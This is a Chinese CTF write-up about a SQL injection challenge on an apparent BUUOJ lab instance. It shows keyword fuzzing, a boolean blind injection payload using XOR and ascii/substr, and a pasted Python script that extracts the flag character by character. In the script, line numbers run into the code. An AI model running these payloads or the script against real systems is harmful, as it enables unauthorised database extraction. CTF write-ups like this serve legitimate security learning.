題目
拿到這道題,是給了提示的,我們猜想是一道注入的題目
分析
我們先提交一個1,抓個包看看
再跟個1'呢
發現報錯,再輸入1' or 1=1--+,猜想后端應該是做了某種過濾
我們先來fuzz一下,看到底哪些關鍵字被過濾掉了
把數據包放到爆破模塊中
導入我們的fuzz字典,然后開始爆破
leng=472的是沒有被過濾掉的,結合沒有被過濾的關鍵字,我們考慮用bool盲注
payload
id=0^(ascii(substr((select(flag)from(flag)),1,1))>101)
當>102時,報錯,說明第一個字符就是102的ascii所對應的字符,也就是f
我們可以寫一個python腳本,解放勞動力(我寫的腳本有問題,這里貼上別人的腳本)
1 import requests 2
3 url = "http://bdff4bff-23c2-43c2-969e-74bedf958792.node3.buuoj.cn/index.php"
4
5 result = ""
6 num = 0 # 用了來判斷是不是flag已經拼完整了
7 for i in range(1, 60): 8
9 if num == 1: 10 break
11
12 for j in range(32, 128): 13
14 payload = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)" % (i, j) 15 # print(str((i-1)*96+j-32)+":~"+payload+"~")
16
17 data = { 18 "id": payload, 19 } 20
21 r = requests.post(url, data=data) 22
23 r.encoding = r.apparent_encoding 24
25 if "Hello" in r.text: 26 x = chr(j) 27 result += str(x) 28 print(result) 29 break
30
31 if "}" in result: 32 print(result) 33 num = 1
34 break